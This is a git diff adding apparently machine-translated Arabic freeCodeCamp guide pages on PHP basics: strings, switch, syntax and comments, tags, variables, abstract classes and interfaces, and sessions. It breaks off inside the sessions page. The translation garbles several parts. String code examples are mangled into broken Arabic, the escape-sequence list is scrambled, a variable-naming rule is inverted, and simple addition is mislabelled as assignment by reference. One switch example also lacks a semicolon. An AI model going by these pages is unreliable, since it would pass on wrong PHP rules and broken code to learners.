+يحتوي موقع PHP الرسمي (PHP.net) على إرشادات التثبيت الخاصة بـ PHP: http://php.net/manual/en/install.php للحصول على خادم الويب و databse في حزمة واحدة ، استخدم هذا الرابط: https://www.mamp.info/en/
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-keywords/index.md b/client/src/guide/arabic/php/php-keywords/index.md
new file mode 100644
index 0000000000..af6c8be277
--- /dev/null
+++ b/client/src/guide/arabic/php/php-keywords/index.md
@@ -0,0 +1,11 @@
+---
+title: PHP Keywords
+localeTitle: PHP الكلمات الرئيسية
+---
+## PHP الكلمات الرئيسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-keywords/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-strings/index.md b/client/src/guide/arabic/php/php-strings/index.md
new file mode 100644
index 0000000000..aa3f28ad56
--- /dev/null
+++ b/client/src/guide/arabic/php/php-strings/index.md
@@ -0,0 +1,101 @@
+---
+title: PHP strings
+localeTitle: سلاسل PHP
+---
+فهي عبارة عن تسلسل من الأحرف ، مثل "تدعم PHP عمليات السلسلة".
+
+ملاحظة - يتم إعطاء وظائف سلسلة مضمنة في وظيفة مرجع وظائف سلسلة PHP
+
+فيما يلي أمثلة صالحة للسلسلة
+
+$ string _1 = "هذه سلسلة في علامات تنصيص مزدوجة"؛ $ string_ 2 = "هذه سلسلة أطول إلى حد ما من النوع المقتبس"؛ السلسلة $ _39 = "تحتوي هذه السلسلة على تسعة وثلاثين حرفًا"؛ سلسلة $_ 0 = ""؛ // سلسلة أحرف صفر يتم التعامل مع السلاسل المقتبسة بشكل منفرد بشكل حرفي تقريباً ، بينما تستبدل السلاسل المقتبسة بشكل مزدوج المتغيرات بقيمها بالإضافة إلى تفسير متواليات حروف معينة بشكل خاص.
+
+ `<?php 
+   $variable = "name"; 
+   $literally = 'My $variable will not print!\\n'; 
+ 
+   print($literally); 
+   print "<br />"; 
+ 
+   $literally = "My $variable will print!\\n"; 
+ 
+   print($literally); 
+ ?> 
+` 
+
+سيؤدي ذلك إلى النتيجة التالية -
+
+ `My $variable will not print!\n 
+ My name will print 
+` 
+
+لا توجد حدود صناعية على طول السلسلة - داخل حدود الذاكرة المتوفرة ، يجب أن تكون قادرًا على جعل سلاسل طويلة عشوائية.
+
+يتم معالجة السلاسل التي يتم تحديدها بواسطة علامات اقتباس مزدوجة (كما في "هذا") في الطريقتين التاليتين بواسطة PHP -
+
+يتم استبدال تسلسلات الأحرف معينة تبدأ بخط مائل backslash () بحروف خاصة
+
+يتم استبدال أسماء المتغيرات (التي تبدأ بـ $) بتمثيل سلسلة قيمها.
+
+بدائل التسلسل الهروب هي -
+
+\\ n تم استبداله بحرف السطر الجديد يتم استبدال حرف r يتم استبدال حرف t \\ $ يتم استبداله بعلامة الدولار نفسها ($) \\ "يتم استبداله بعلامة اقتباس مفردة مفردة (") \\ يتم استبداله بخط مائل واحد ()
+
+### سلسلة Concatenation المشغل
+
+لسَلسَلة متغيرين السلسلة معًا ، استخدم عامل نقطة (.) -
+
+ `<?php 
+   $string1="Hello World"; 
+   $string2="1234"; 
+ 
+   echo $string1 . " " . $string2; 
+ ?> 
+` 
+
+سيؤدي ذلك إلى النتيجة التالية -
+
+ `Hello World 1234 
+` 
+
+إذا نظرنا إلى الكود أعلاه سترى أننا استخدمنا عامل التشغيل السلسلتي مرتين. هذا لأنه كان علينا إدخال سلسلة ثالثة.
+
+بين المتغيرات سلسلة اثنين أضفنا سلسلة مع حرف واحد ، مساحة فارغة ، لفصل بين المتغيرات اثنين.
+
+### باستخدام الدالة strlen ()
+
+يتم استخدام الدالة strlen () لإيجاد طول سلسلة.
+
+دعونا نعثر على طول السلسلة "Hello world!":
+
+ `<?php 
+   echo strlen("Hello world!"); 
+ ?> 
+` 
+
+سيؤدي ذلك إلى النتيجة التالية -
+
+ `12 
+` 
+
+غالباً ما يتم استخدام طول سلسلة في حلقات أو دالات أخرى ، عندما يكون من المهم معرفة متى تنتهي السلسلة. (أي في حلقة ، نود إيقاف الحلقة بعد الحرف الأخير في السلسلة)
+
+### باستخدام وظيفة strpos ()
+
+يتم استخدام الدالة strpos () للبحث عن سلسلة أو حرف داخل سلسلة.
+
+إذا تم العثور على تطابق في السلسلة ، فستعرض هذه الدالة موضع المطابقة الأولى. إذا لم يتم العثور على تطابق ، فسيتم إرجاع FALSE.
+
+دعونا نرى ما إذا كان بإمكاننا العثور على سلسلة "العالم" في سلسلتنا -
+
+ `<?php 
+   echo strpos("Hello world!","world"); 
+ ?> 
+` 
+
+سيؤدي ذلك إلى النتيجة التالية -
+
+ ` 6 
+` 
+
+كما ترى أن موضع "العالم" في السلسلة "string" في موضعنا هو الموقف 6. والسبب في أنه 6 ، وليس 7 ، هو أن أول موضع في السلسلة هو 0 وليس 1.
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-switch/index.md b/client/src/guide/arabic/php/php-switch/index.md
new file mode 100644
index 0000000000..5cc6418623
--- /dev/null
+++ b/client/src/guide/arabic/php/php-switch/index.md
@@ -0,0 +1,68 @@
+---
+title: PHP Switch
+localeTitle: تبديل PHP
+---
+## تبديل PHP
+
+و `switch` بيان في PHP مشابه لسلسلة من `if` البيانات على نفس التعبير. يستخدم بيان `switch` لتنفيذ إجراءات مختلفة في ظروف مختلفة. يتبع جملة جملة `switch`
+
+ `switch (expression) { 
+ 
+    case label1: 
+        // code block to be executed if there is a match with result of expression 
+        break; 
+    case label2: 
+        // code block to be executed if there is a match with result of expression 
+        break; 
+    case label3: 
+        // code block to be executed if there is a match with result of expression 
+        break; 
+    default: 
+        // code block to be executed if there is no match with result of expression 
+ 
+ } 
+` 
+
+عندما نقوم بتشغيل البرنامج ، يتم تقييم التعبير الموجود داخل بيان `switch` . يتم فحص نتيجة هذا التعبير بالتسميات المقابلة إذا كان هناك تطابق ثم يتم تنفيذ كتلة `case` المقابلة. إذا لم يتم العثور على أي تطابق مع أي من عبارات الحالة ، فسيتم تنفيذ كتلة الكود التي تتبع `default` .
+
+شكل توضيحي لبيان `switch` مع مثال
+
+ `<?php 
+ 
+ $i = 1 
+ switch ($i) { 
+    case 0: 
+        echo "i equals 0"; 
+        break; 
+    case 1: 
+        echo "i equals 1"; 
+        break; 
+    case 2: 
+        echo "i equals 2"; 
+        break; 
+ } 
+ 
+ ?> 
+` 
+
+يمكن أيضًا استخدام عبارة `switch` دون بيان `break` . في هذه الحالة ، سيتم تنفيذ العبارات بعد الحالات المتطابقة. أدناه هو استخدام بيان `switch` دون بيان `break` .
+
+ `<?php 
+ switch ($i) { 
+    case 0: 
+        echo "i equals 0"; 
+    case 1: 
+        echo "i equals 1"; 
+    case 2: 
+        echo "i equals 2"; 
+ } 
+ ?> 
+ 
+ /*output --> i equals 0i equals 1i equals 2 */ 
+` 
+
+#### معلومات اكثر:
+
+[بيان التبديل - وثائق PHP](http://php.net/manual/en/control-structures.switch.php)
+
+[PHP5 التبديل - W3Schools](https://www.w3schools.com/php/php_switch.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-syntax-and-comments/index.md b/client/src/guide/arabic/php/php-syntax-and-comments/index.md
new file mode 100644
index 0000000000..81b15da7ff
--- /dev/null
+++ b/client/src/guide/arabic/php/php-syntax-and-comments/index.md
@@ -0,0 +1,38 @@
+---
+title: PHP Syntax and Comments
+localeTitle: بناء جملة PHP وتعليقات
+---
### بناء php
+
+هيكل بنية PHP يشبه إلى حد ما:
+
+ `    <?php 
+ 
+    // Your PHP code goes here. 
+ 
+    ?> 
+` 
+
+يمكن وضع هذا السيناريو PHP في أي مكان في المستند. يحتوي ملف PHP بشكل عام على علامات HTML ، وبعض رموز البرمجة النصية. ملحق الملف الافتراضي لملفات PHP هو `.php` .
+
+\### كيف تصنع تعليقات في PHP؟
+
+تعليق في PHP code هو خط لا يتم قراءته أو تنفيذه كجزء من البرنامج. الغرض الوحيد منه هو أن يقرأه شخص ينظر إلى الشفرة.
+
+في PHP ، يمكن إجراء التعليقات بطريقتين إما مبطنة أو متعددة الخطوط. يوضح مقتطف الشفرة الموضح أدناه:
+
+ `<? 
+   // This is a single-line comment 
+ 
+    # This is also a single-line comment 
+ 
+   /* 
+     This is a multiple-lines comment block 
+     that spans over multiple 
+     lines 
+   */ 
+ ?> 
+` 
+
+### معلومات اكثر
+
+لمزيد من الموارد ، يمكنك زيارة: https://www.w3schools.com/php/php\_syntax.asp
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-syntax/index.md b/client/src/guide/arabic/php/php-syntax/index.md
new file mode 100644
index 0000000000..0b752ed176
--- /dev/null
+++ b/client/src/guide/arabic/php/php-syntax/index.md
@@ -0,0 +1,81 @@
+---
+title: PHP Syntax
+localeTitle: بناء php
+---
+# قواعد PHP الأساسية
+
+### بداية
+
+يتم حفظ جميع ملفات PHP عن طريق الامتداد `.php` . يمكن إضافة نصوص PHP في أي مكان في المستند. يبدأ البرنامج النصي لـ PHP `<?php` وينتهي بـ `?>` .
+
+`<?php //PHP code goes here ?>`
+
+### طباعة
+
+لطباعة أي عبارة في PHP نستخدم أمر `echo` .
+
+#### عينة التعليمات البرمجية
+
+ `<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <h1>My first PHP page</h1> 
+ 
+ <?php 
+ echo "Hello World!"; 
+ ?> 
+ 
+ </body> 
+ </html> 
+` 
+
+##### ملاحظة: تنتهي عبارات PHP بفاصلة منقوطة `;`
+
+### اعلان المتغيرات
+
+نعلن عن وجود متغيرات في PHP عن طريق إضافة علامة `$` قبلها.
+
+ `<?php 
+ $x = 5; 
+ echo $x; 
+ ?> 
+` 
+
+### تعليقات في PHP
+
+لكتابة تعليق سطر واحد في PHP ، نضع hashtag `#` أو بوضع `//` قبل التعليق.
+
+ `<?php 
+ # This is a single line comment 
+ // This is also a single line comment 
+ ?> 
+` 
+
+لكتابة تعليق خط مزدوج ، نبدأ التعليق مع `/*` وننتهي بـ `*/` .
+
+ `<?php 
+ /* This is a 
+ Double line comment. */ 
+ ?> 
+` 
+
+يمكننا أيضًا التعليق على بعض أجزاء سطر الشفرة.
+
+#### عينة الكود
+
+ `<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // You can also use comments to leave out parts of a code line 
+ $x = 5 /* + 15 */ + 5; 
+ echo $x; 
+ ?> 
+ 
+ </body> 
+ </html> 
+` 
+
+يمكنك معرفة المزيد عن هذا في [دليل PHP](http://php.net/manual/en/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-tags/index.md b/client/src/guide/arabic/php/php-tags/index.md
new file mode 100644
index 0000000000..8d8039fc06
--- /dev/null
+++ b/client/src/guide/arabic/php/php-tags/index.md
@@ -0,0 +1,19 @@
+---
+title: PHP tags
+localeTitle: علامات PHP
+---
+عندما يقوم PHP بتوزيع ملف ، فإنه يبحث عن علامات فتح وإغلاق ، والتي هي `<?php` و `?>` والتي تخبر PHP لبدء وتفسير تفسير الشفرة بينهما. يسمح التحليل بهذه الطريقة بتضمين PHP في جميع أنواع المستندات المختلفة ، حيث يتم تجاهل كل شيء خارج زوج من علامات الفتح والإغلاق من قبل محلل PHP.
+
+PHP يسمح أيضا لعلامة مفتوحة قصيرة `<?` (وهو أمر غير `short_open_tag php.ini` لأنه متاح فقط في حالة تمكينه باستخدام `short_open_tag php.ini` تكوين `short_open_tag php.ini` ، أو إذا كان PHP قد تم تكوينه باستخدام خيار `--enable-short-tags` ).
+
+إذا كان الملف عبارة عن كود PHP خالص ، فمن الأفضل حذف علامة إغلاق PHP في نهاية الملف. يؤدي ذلك إلى منع المساحات البيضاء أو الخطوط الجديدة التي تتم إضافتها بعد علامة إغلاق PHP ، والتي قد تتسبب في حدوث تأثيرات غير مرغوب فيها لأن PHP سيبدأ التخزين المؤقت للإخراج عندما لا يكون هناك نية من المبرمج لإرسال أي إخراج عند هذه النقطة في البرنامج النصي.
+
+ `<?php 
+ echo "Hello world"; 
+ 
+ // ... more code 
+ 
+ echo "Last statement"; 
+ 
+ // the script ends here with no PHP closing tag 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-variables/index.md b/client/src/guide/arabic/php/php-variables/index.md
new file mode 100644
index 0000000000..c16ec597a9
--- /dev/null
+++ b/client/src/guide/arabic/php/php-variables/index.md
@@ -0,0 +1,57 @@
+---
+title: PHP Variables
+localeTitle: متغيرات PHP
+---
+## المتغيرات
+
+المتغيرات هي "حاويات" لتخزين المعلومات. يتم الإعلان عن المتغيرات باستخدام علامة الدولار ($) متبوعة مباشرة باسم المتغير. على سبيل المثال ، سيعمل قالب التعليمة البرمجية أدناه على إنشاء متغير يسمى `myVariable` وتعيين سلسلة `Hello World` إليه.
+
+ `<?php 
+ $myVariable = "Hello World"; 
+ $x = 5; 
+ $y = 10.5; 
+ $z = '42'; 
+ ?> 
+` 
+
+بعد تنفيذ البيانات أعلاه، المتغير `$myVariable` سيعقد سلسلة مع قيمة أهلا بالعالم! المتغير `$x` سيعقدون صحيح بقيمة 5 و المتغير `$y` سيعقد تعويم بقيمة من 10.5 ، وسيحتوي المتغير `$z` على سلسلة بقيمة 42.
+
+# تسمية المتغيرات
+
+كما هو الحال مع أي لغة برمجة ، فإن PHP لديها قواعد معينة تنطبق على متغيرات التسمية. ستتبع أسماء المتغيرات الصالحة القواعد التالية
+
+*   يجب أن يبدأ المتغير بالعلامة $ ، متبوعًا باسم المتغير
+*   يجب أن يبدأ اسم المتغير بحرف أو حرف الشرطة السفلية
+*   لا يمكن أن يبدأ اسم المتغير برقم
+*   لا يمكن أن يحتوي اسم المتغير على أحرف أبجدية رقمية والشرطات السفلية (Az و 0-9 و \_)
+*   أسماء المتغيرات حساسة لحالة الأحرف (عمر $ و $ AGE متغيرين مختلفين)
+
+# المتغيرات المحددة مسبقا
+
+يحتوي PHP على عدة كلمات رئيسية خاصة بينما تكون أسماء المتغيرات "الصالحة" ، لا يمكن استخدامها للمتغيرات الخاصة بك. والسبب في ذلك هو أن اللغة نفسها قد حددت بالفعل هذه المتغيرات وقد تم استخدامها لأغراض خاصة. يتم سرد العديد من الأمثلة أدناه ، للحصول على قائمة كاملة ، راجع [موقع وثائق PHP](https://secure.php.net/manual/en/language.variables.predefined.php) .
+
+*   `$this`
+*   `$_GET`
+*   `$_POST`
+*   `$_SERVER`
+*   `$_FILES`
+
+# تعيين قيم للمتغيرات
+
+لتعيين قيمة لمتغير ، يمكنك ببساطة كتابة المتغير متبوعًا بمعامِل equals (=) متبوعًا بالقيمة. فمثلا
+
+`PHP $myVariable = "Hello World"; $number1 = 5; $number2 = 10; $total = $number1 + $number2;`
+
+ربما لاحظت عدة أشياء مهمة حول المثال أعلاه. أول متغير أعلنته مساويا لـ **Hello World** ، محاط بعلامات اقتباس. هذا لأن **Hello World** عبارة عن سلسلة من النص ويجب أن تكون سلاسل الأحرف محاطة بعلامات اقتباس. السطر الثاني الذي أعلنت عنه `$number1` مساوٍ لقيمة 5. كان بإمكاني الإعلان عن `$number1` ليكون مساوياً لـ `"5"` ، الأمر الذي من شأنه أن يخبر PHP أنني أريد تخزين 5 كسلسلة ، وليس قيمة فعلية. الفرق هو أنه لا يمكنك إجراء الحساب (كما فعلت في السطر الرابع) على السلاسل. السطر الرابع أعلن `$total` مساوٍ لقيم `$number1` بالإضافة إلى `$number2` . وهذا ما يسمى التصريح بقيمة حسب المرجع.
+
+# PHP هي لغة مكتوبة بشكل فضفاض
+
+في المثال أعلاه ، لاحظ أنه لم يكن علينا إخبار PHP بنوع البيانات المتغير. تقوم لغة PHP تلقائيًا بتحويل المتغير إلى نوع البيانات الصحيح ، وفقًا لقيمته. بلغات أخرى مثل C و C ++ و Java ، يجب أن يعلن المبرمج عن اسم المتغير ونوعه قبل استخدامه.
+
+# استنتاج
+
+تجعل PHP من السهل العمل مع المتغيرات ، ويجب عليك التفكير في المتغيرات كحاويات لتخزين المعلومات. لمزيد من المعلومات راجع هذه الموارد:
+
+*   [PHP المتغيرات الوثائق](http://php.net/manual/en/language.variables.php)
+*   [W3Schools متغيرات PHP](https://www.w3schools.com/php/php_variables.asp)
+*   [أنواع البيانات PHP](https://guide.freecodecamp.org/php/data-types)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/polymorphism-abstract-interface/index.md b/client/src/guide/arabic/php/polymorphism-abstract-interface/index.md
new file mode 100644
index 0000000000..e49d210537
--- /dev/null
+++ b/client/src/guide/arabic/php/polymorphism-abstract-interface/index.md
@@ -0,0 +1,359 @@
+---
+title: Polymorphism with Abstract and Interface
+localeTitle: تعدد الأشكال مع الملخص والواجهة
+---
+## تعدد الأشكال مع الملخص والواجهة
+
+_مشاركة وفرض الكود مع تعدد الأشكال باستخدام الطبقة التجريدية والواجهة_
+
+سوف نتعمق في البرمجة الشيئية ونحاول التفكير من حيث أنماط التصميم لمشاركة وتطبيق الشفرة الخاصة بنا باستخدام تعدد الأشكال (Polymorphism).
+
+### فئة الملخص
+
+لنفترض أن لدينا فئة تسمى Man مع بعض الخصائص ( `name` `age` `height` `fav_drinks` و `fav_sports` ) والطرق ( `giveFirmHandshakes` و `beStubborn` و `notPutToiletPaper` ).
+
+ `<?php 
+ 
+ class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    public function __construct($name, $age, $height) 
+    { 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+    } 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ } 
+` 
+
+نحتاج إلى تحديد الاسم والعمر والطول لتكوين هذه الفئة وفقًا لما يتطلبه المنشئ.
+
+ `<?php 
+ $jack = new Man('Jack', '26', '5 Feet 6 Inches'); 
+ 
+ echo sprintf('%s - %s - %s', $jack->name, $jack->age, $jack->height); 
+ // => Jack - 26 - 5 Feet 6 Inches 
+` 
+
+الآن ، دعنا نقول أننا نريد إضافة طريقة جديدة لهذه الفئة تسمى isActive.
+
+يقوم هذا الأسلوب بالتحقق من الخاصية النشطة وإرجاع الرسالة المناسبة بناءً على قيمة نشطة مع القيمة الافتراضية للقيمة false. يمكننا تعيينه على حق لأولئك الرجال النشطين.
+
+ `<?php 
+ 
+ class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+    public $active = false; 
+ 
+    ..... 
+    ..... 
+ 
+    public function isActive() 
+    { 
+        if ($this->active == true) { 
+            return "I am an active man."; 
+        } else { 
+            return "I am an idle man."; 
+        } 
+    } 
+ } 
+ 
+ $jack = new Man('Jack', '26', '5 Feet 6 Inches'); 
+ $jack->active = true; 
+ echo $jack->isActive(); 
+ // => I am an active man. 
+ 
+ $jake = new Man('Jake', '30', '6 Feet'); 
+ echo "\n" . $jake->isActive(); 
+ // => I am an idle man. 
+` 
+
+ماذا لو لم يكن الرجل نشطًا أو خاملًا؟
+
+ماذا لو كان هناك مقياس من 1 إلى 4 يقيس مدى نشاط الرجل (1 - الخمول ، 2 - نشط طفيفة ، 3 - متوسطة النشاط ، 4 - نشطة جدا)؟
+
+يمكننا الحصول على if..sese..else مثل هذه العبارات:
+
+ `<?php 
+ 
+ public function isActive() 
+ { 
+    if ($this->active == 1) { 
+        return "I am an idle man."; 
+    } elseif ($this->active == 2) { 
+        return "I am a lightly active man."; 
+    } elseif ($this->active == 3) { 
+        return "I am a moderately active man."; 
+    } else { 
+        return "I am a very active man."; 
+    } 
+ } 
+` 
+
+الآن ، لنأخذ هذه خطوة أخرى.
+
+ماذا لو لم تكن الخاصية النشطة للإنسان مجرد رقم صحيح (1 ، 2 ، 3 ، 4 ، وما إلى ذلك)؟
+
+ماذا لو كانت قيمة النشاط "رياضية" أم "كسولة"؟
+
+لا يتعين علينا إضافة المزيد من عبارات elseif تبحث عن مباراة مع تلك السلاسل؟
+
+يمكن استخدام الطبقات المجردة لهذا السيناريو.
+
+مع الفصول التجريدية ، تقوم بشكل أساسي بتعريف الفئة على أنها مجردة والأساليب التي تريد تطبيقها كملخص دون وضع أي كود داخل هذه الطرق.
+
+ثم يمكنك إنشاء فئة تابعة توسيع الفئة المجردة الأصل وتنفيذ الأساليب المجردة في تلك الفئة التابعة.
+
+بهذه الطريقة ، ستقوم بفرض جميع الفئات الفرعية لتحديد نسختها الخاصة من الأساليب المجردة. دعنا نرى كيف يمكننا أن نضع طريقة `isActive()` بنا `isActive()` .
+
+# 1: تعريف الصف كملخص.
+
+ `<?php 
+ abstract class Man 
+ { 
+ ..... 
+ ..... 
+ } 
+` 
+
+# 2: إنشاء طريقة مجردة للطريقة التي تريد فرضها داخل الطبقة المجردة.
+
+ `<?php 
+ abstract class Man 
+ { 
+ ..... 
+ ..... 
+ abstract public function isActive(); 
+ } 
+` 
+
+# 3: إنشاء فئة تابعة لتوسيع الفئة المجردة.
+
+ `<?php 
+ 
+ class AthleticMan extends Man 
+ { 
+ ..... 
+ ..... 
+ } 
+` 
+
+# 4: تنفيذ الطريقة المجردة داخل فئة الطفل.
+
+ `<?php 
+ class AthleticMan extends Man 
+ { 
+    public function isActive() 
+    { 
+        return "I am a very active athlete."; 
+    } 
+ } 
+` 
+
+# 5: تحفيظ فئة الطفل (وليس الطبقة المجردة).
+
+ `<?php 
+ $jack = new AthleticMan('Jack', '26', '5 feet 6 inches'); 
+ echo $jack->isActive(); 
+ // => I am a very active athlete. 
+` 
+
+كامل تعريف فئة الملخص ورمز التنفيذ:
+
+ `<?php 
+ 
+ abstract class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    public function __construct($name, $age, $height) 
+    { 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+    } 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ 
+    abstract public function isActive(); 
+ } 
+ 
+ class AthleticMan extends Man 
+ { 
+    public function isActive() 
+    { 
+        return "I am a very active athlete."; 
+    } 
+ } 
+ 
+ $jack = new AthleticMan('Jack', '26', '5 feet 6 inches'); 
+ echo $jack->isActive(); 
+ // => I am a very active athlete. 
+` 
+
+في هذا الكود ، ستلاحظ أن `isActive()` يتم تعريف الأسلوب المجرد داخل الطبقة `isActive()` `Man` ويتم تنفيذه داخل فئة `AthleticMan` للطفولة.
+
+الآن لا يمكن إنشاء مثيل لطبقة `Man` مباشرة لإنشاء كائن.
+
+ `<?php 
+ $ted = new Man('Ted', '30', '6 feet'); 
+ echo $ted->isActive(); 
+ // => Fatal error:  Uncaught Error: Cannot instantiate abstract class Man 
+` 
+
+أيضا ، كل فئة طفل من الطبقة المجردة (درجة `Man` ) تحتاج إلى تنفيذ جميع الأساليب المجردة. سوف يؤدي عدم تنفيذ مثل هذا إلى خطأ فادح.
+
+ `<?php 
+ class LazyMan extends Man 
+ { 
+ 
+ } 
+ 
+ $robert = new LazyMan('Robert', '40', '5 feet 10 inches'); 
+ echo $robert->isActive(); 
+ // => Fatal error:  Class LazyMan contains 1 abstract method 
+ // => and must therefore be declared abstract or implement 
+ // => the remaining methods (Man::isActive) 
+` 
+
+باستخدام الفصول التجريدية ، يمكنك فرض بعض الأساليب ليتم تنفيذها بشكل فردي من قبل الفئات الفرعية.
+
+### جهة تعامل
+
+هناك مفهوم آخر للبرمجة الموجهة للكائنات يرتبط ارتباطًا وثيقًا بالفئات المستخلصة المسماة Interface.
+
+والفرق الوحيد بين الطبقات الخلاصة والواجهات هو أنه في الطبقات الخلاصة ، يمكن أن يكون لديك مزيج من الأساليب المحددة ( `giveFirmHandshakes()` ، `isStubborn()` ، وما إلى ذلك) والأساليب المجردة ( `isActive()` ) داخل الفئة الرئيسية بينما في واجهات ، يمكنك فقط تحديد (عدم تنفيذ) الطرق داخل الفئة الرئيسية.
+
+دعنا نرى كيف يمكننا تحويل فئة مجردة الإنسان أعلاه إلى واجهة.
+
+# 1: تعريف الواجهة بكل الطرق (استخدام الواجهة بدلاً من الفصل).
+
+ `<?php 
+ interface Man 
+ { 
+    public function __construct($name, $age, $height); 
+ 
+    public function giveFirmHandshakes(); 
+ 
+    public function beStubborn(); 
+ 
+    public function notPutToiletPaper(); 
+ 
+    public function isActive(); 
+ } 
+` 
+
+# 2: إنشاء فئة يقوم بتنفيذ الواجهة (استخدم الأدوات بدلاً من extends). يجب أن تقوم هذه الفئة بتطبيق جميع الطرق المعرفة داخل الواجهة بما في ذلك طريقة المنشئ.
+
+ `<?php 
+ class AthleticMan implements Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+ 
+    public function __construct($name, $age, $height) 
+    { 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+    } 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ 
+    public function isActive() 
+    { 
+        return "I am a very active athlete."; 
+    } 
+ } 
+` 
+
+# 3: تحفيز فئة التنفيذ (AthleticMan)
+
+ `<?php 
+ $jack = new AthleticMan('Jack', '26', '5 feet 6 inches'); 
+ echo $jack->isActive(); 
+ // => I am a very active athlete. 
+` 
+
+باستخدام الواجهات ، يجب أن تضع في اعتبارك ما يلي:
+
+*   لا يمكن تنفيذ الطرق داخل الواجهة.
+    
+*   لا يمكن تعريف المتغيرات (الخصائص) داخل الواجهة.
+    
+*   يجب تنفيذ جميع الطرق المحددة داخل الواجهة في فئة الطفل (تطبيق).
+    
+*   يجب تحديد جميع المتغيرات الضرورية داخل فئة الطفل.
+    
+*   تقوم واجهة المستخدم بتطبيق فئات التنفيذ الخاصة بها لتنفيذ كافة الطرق في الواجهة.
+    
+
+إذن ، ما هو استخدام الواجهات؟
+
+لا يمكننا إنشاء فئة جديدة من AthleticMan وإنشاء جميع الطرق بدلاً من تطبيق الواجهة؟
+
+هذا هو المكان الذي تأتي فيه _أنماط التصميم_ .
+
+يتم استخدام الواجهات عندما يكون هناك فئة أساسية ( `Man` ) تريد فرضك على القيام بالأشياء (إنشاء كائن ، إعطاء GiveFirmHandshakes ، beStubborn ، notPutToiletPaper ومعرفة ما إذا كنت نشطًا) ولكن لا تريد أن تخبرك بالضبط كيف تقوم بذلك .
+
+يمكنك المضي قدمًا وإنشاء فئات تنفيذية مع عمليات التنفيذ حسب ما تراه مناسبًا.
+
+طالما يتم تنفيذ جميع الطرق ، لا تهتم واجهة `Man` كيف.
+
+لقد ذهبنا على كيفية وموعد استخدام الطبقات المجردة والواجهات في PHP. إن استخدام مفاهيم OOP هذه لتكوين فِرَق ذات وظائف مختلفة تشترك في "المخطط" الأساسي نفسه (الطبقة المجردة أو الواجهة) يسمى تعدد الأشكال (Polymorphism).
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/pp-sessions/index.md b/client/src/guide/arabic/php/pp-sessions/index.md
new file mode 100644
index 0000000000..e746647b2e
--- /dev/null
+++ b/client/src/guide/arabic/php/pp-sessions/index.md
@@ -0,0 +1,142 @@
+---
+title: PHP Sessions
+localeTitle: جلسات PHP
+---
+# جلسات PHP
+
+الجلسة هي طريقة لتخزين المعلومات (في المتغيرات) ليتم استخدامها عبر صفحات متعددة.  
+على عكس ملف تعريف الارتباط ، لا يتم تخزين المعلومات على جهاز الكمبيوتر الخاص بالمستخدم.
+
+## ما هي جلسة PHP؟
+
+عند العمل مع أحد التطبيقات ، يمكنك فتحه ، وإجراء بعض التغييرات ، ثم إغلاقه. هذا يشبه إلى حد كبير الجلسة.  
+الكمبيوتر يعرف من أنت. يعرف متى تبدأ التطبيق وعند الانتهاء.  
+ولكن هناك مشكلة واحدة على الإنترنت: لا يعرف خادم الويب هويتك أو ما تفعله ، لأن عنوان HTTP _لا يحتفظ بالحالة_ .
+
+تعمل متغيرات جلسة العمل على حل هذه المشكلة من خلال تخزين معلومات المستخدم ليتم استخدامها عبر صفحات متعددة (مثل اسم المستخدم واللون المفضل ، وما إلى ذلك).  
+بشكل افتراضي ، تستمر متغيرات جلسة العمل حتى يقوم المستخدم بإغلاق المتصفح.
+
+**تحتوي متغيرات جلسة العمل على معلومات حول مستخدم واحد ، وهي متوفرة لجميع الصفحات في تطبيق واحد.**
+
+**ملاحظة:** إذا كنت بحاجة إلى تخزين دائم ، فقد ترغب في تخزين البيانات في قاعدة بيانات.
+
+## بدء دورة PHP
+
+تبدأ _الجلسة_ ببدء _الجلسة_ () \_ الوظيفة.  
+يتم تعيين متغيرات الجلسة مع المتغير العام PHP: $ \_SESSION.
+
+**مثال:**
+
+ `<?php 
+ // Start the session 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // Set session variables 
+ $_SESSION["favcolor"] = "blue"; 
+ $_SESSION["favanimal"] = "dog"; 
+ echo "Session variables are set."; 
+ ?> 
+ 
+ </body> 
+ </html> 
+` 
+
